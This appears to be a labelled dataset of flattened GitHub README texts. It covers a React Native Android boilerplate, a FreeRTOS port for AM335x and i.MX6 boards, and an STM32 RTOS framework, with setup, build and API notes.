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React-Native-Boiler-Plate | https i ibb co 1ncdygj my post png basic react native boilerplate android for beginners this project is a react native boilerplate that can be used to kickstart a mobile application the boilerplate gives an architecture optimized for building solid cross platform mobile applications through separation of concerns between the ui and business logic it is amazingly reported so that each piece of code that lands in your application can be understood on and utilized bash if you love this boilerplate give us a star you will be a ray of sunshine in our lives app center configuration the project is configured with microsoft app center for crash analytics it will also helpout to distribute your application with qa team futhermore ci cd can be implemented easily you can app secret from android app src main assets appcenter config json file libraries installed react native community async storage 1 9 0 react native community masked view 0 1 9 react navigation native 5 1 5 react navigation stack 5 2 10 axios 0 19 2 react 16 11 0 react native 0 62 2 react native config 1 0 0 react native elements 1 2 7 react native floating action button 0 2 2 react native gesture handler 1 6 1 react native paper 3 8 0 react native reanimated 1 8 0 react native safe area context 0 7 3 react native screens 2 4 0 react native vector icons 6 6 0 architecture the project has separation of concerns to increase flexability and maintabibility the concerns are divided into portions given below as presentational layer the presentational layer has all the component and files on which placements and elements are displayed which will be visble for the user and through which user will interact with the system action layer the action layer has all the component and files which will be used to perform certain actions for example login method signup method field validator etc network api calls the action layer has all the component and files which will be used to perform api calls this layer will be managed by axios library division of code the division of code is very necessary to increase reusability and to increase flexability this project is designed in this way that it welcome all the changes some of divisions are given below utilis the utilis folder will have all the files to define labels cosntants and other information which will be used at utilis in the project assets the assets folder will all the resources like images audio files etc config the config folder will all the application configuration settings components the component folder will have all the custom components like custom text fields buttons header etc styles the stlyes folder will have all the css files to provide project level design this folder also contains color folder to define theme colors separtely enviornment setting every one wants to optimize the way of distribution of app for quicky testing some times we have separate servers and backend databases for qa dev stagging and production this project has 4 build variants i e debug qa release stagging release release you can change variant configurations from following files env dev for debug env qa for qa release env stagging for stagging release env production for release qa release stagging release release will have js bundle so it will be executed without node js server while debug is for dev team so it will need node js metro server running you can change files for each variant from android app build gradle project ext envconfigfiles debug env dev release env production qarelease env qa staggingrelease env stagging anothercustombuild env qa using the boilerplate to create a new project using the boilerplate clone this repository remove the previous git history rm rf git install the npm dependencies by npm install npm install react native cli rename the project to your own project name create local properties file in android folder and define sdk path like sdk dir c android sdk change app secret in android app src main assets appcenter config json running the project assuming you have all the requirements installed you can setup and run the project by running creating apk unsigned cd android gradlew clean assembleqarelease to create qa release apk gradlew clean assemblestaggingrelease to create stagging release apk gradlew clean assemblerelease to create release apk run on device emulator react native run android variant qarelease react native run android variant staggingrelease react native run android variant release by default debug variant will be executed on device contributions contributions issues and feature requests are welcome feel free to check issues https github com abidjamil react native boiler plate issues issues page if you want to contribute about me my name is abid jamil from pakistan i am senior software engineer at nextbridge ltd pakistan i have expertise in native android react native ios android java kotlin javascript mvvm mvp rxjava dagger material design live data data binding futhermore i am open source contribution and computer science researcher i have published 17 research paper which is avaiable on google scholar profile https scholar google com citations user sl7oxnsaaaaj hl en google scholar profile i have delivered many talks in different national and international universities around the globe github abidjamil https github com abidjamil abidjamil youtube abid jamil https www youtube com channel uczhswt46d oox5vyubos3jq abid jamil facebook abid jamil http www facebook com chabidgill abid jamil | react-native biolerplate mobile-development | front_end |
FreeRTOS-am335x-imx6 | freertos am335x imx6 freertos v9 0 0 support list am335x board imx6 board the init is clone from https github com henfos bbbfreertos | os |
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newrtos | rtos for embedded systems an open source firmware development framework that includes rtos and drivers features include uses gcc newlib and no extra dependencies unified api across architectures rtos scheduling is round robin with 1ms time slice feature support matrix arch clock task mutex timer queue gpio uart spi i2c stm32f0 48mhz yes yes yes stm32f1 72mhz yes yes yes stm32f3 72mhz yes yes yes stm32f7 216mhz yes yes build install packages arm none eabi gcc st link openocd assuming ubuntu sh apt get install gcc arm none eabi binutils arm none eabi gdb arm none eabi openocd stlink tools build example firmware sh make c examples blinky clean all arch stm32f1 to flash a firmware connect your board and run sh make c examples blinky flash api reference task management rtos init must be the first function called by main rtos task create fn data stacksize create task rtos schedule start task scheduler do not return utility rtos msleep ms sleep ms milliseconds rtos ram free return available ram in bytes rtos ram used return used ram in bytes gpio pin bank num declare a gpio pin uint16 t pin pin a 5 gpio init pin mode type speed pull af init gpio pin gpio on pin set gpio pin on gpio off pin set gpio pin off gpio toggle pin toggle gpio pin gpio input pin convenience set input mode on a gpio pin gpio output pin convenience set output mode on a gpio pin uart uart init uart tx pin rx pin baud initialise uart uart write byte uart byte write one byte uart write buf uart buf len write buffer uart read ready uart return non 0 if uart can be read uart read byte uart read one byte debugging in order to debug first run openocd in one terminal sh make c examples blinky arch stm32f3 openocd in another terminal build with debug 1 and start a gdb debugger sh make c examples blinky arch stm32f3 debug 1 make clean all gdb by default gdb breakpoints in main tip use layout split gdb command for a handy source disassembly display mode the debug 1 adds a specs rdimon linker flag which enables a semihosting feature on arm that means all stdio functions like printf will be retargeted to an openocd console output useful for a quick printf debugging | os |
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